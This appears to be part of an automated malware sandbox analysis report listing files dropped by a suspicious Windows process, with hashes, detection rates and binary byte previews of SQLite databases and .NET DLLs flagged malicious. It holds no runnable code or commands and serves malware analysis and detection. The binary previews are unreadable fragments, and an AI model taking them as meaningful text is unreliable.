Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wnP1Hfpzy3

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wtaW2RKcfu

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x3GokrZeop

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xApn7ahirs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xMp1OeNgj4

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xl4ob2zZUK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xtTS3Rdgg1

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\y5vC6cqevQ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yF9miDZTtc

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yI2vvASR0U

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ytbgogNwOU

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zITDidHVta

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zU0dlWrFnv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\CvvLBlqK.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Joe Sandbox View:	Filename: 7aHY4r6vXR.exe, Detection: malicious, Browse Filename: 0V2JsCrGUB.exe, Detection: malicious, Browse Filename: FYKrlfQrxb.exe, Detection: malicious, Browse Filename: PlZA6b48MW.exe, Detection: malicious, Browse Filename: 3XtEci4Mmo.exe, Detection: malicious, Browse Filename: wxl1r0lntg.exe, Detection: malicious, Browse Filename: HaLCYOFjMN.exe, Detection: malicious, Browse Filename: Z90Z9bYzPa.exe, Detection: malicious, Browse Filename: 0J5DzstGPi.exe, Detection: malicious, Browse Filename: 6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\FyhuXVvF.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\GvICsVKA.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HupKRiKa.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IitSDvGY.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\JwbtnRPV.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LqKTzAAu.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NVLRgsWM.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QdcRcxPi.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\cIDyHnkk.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
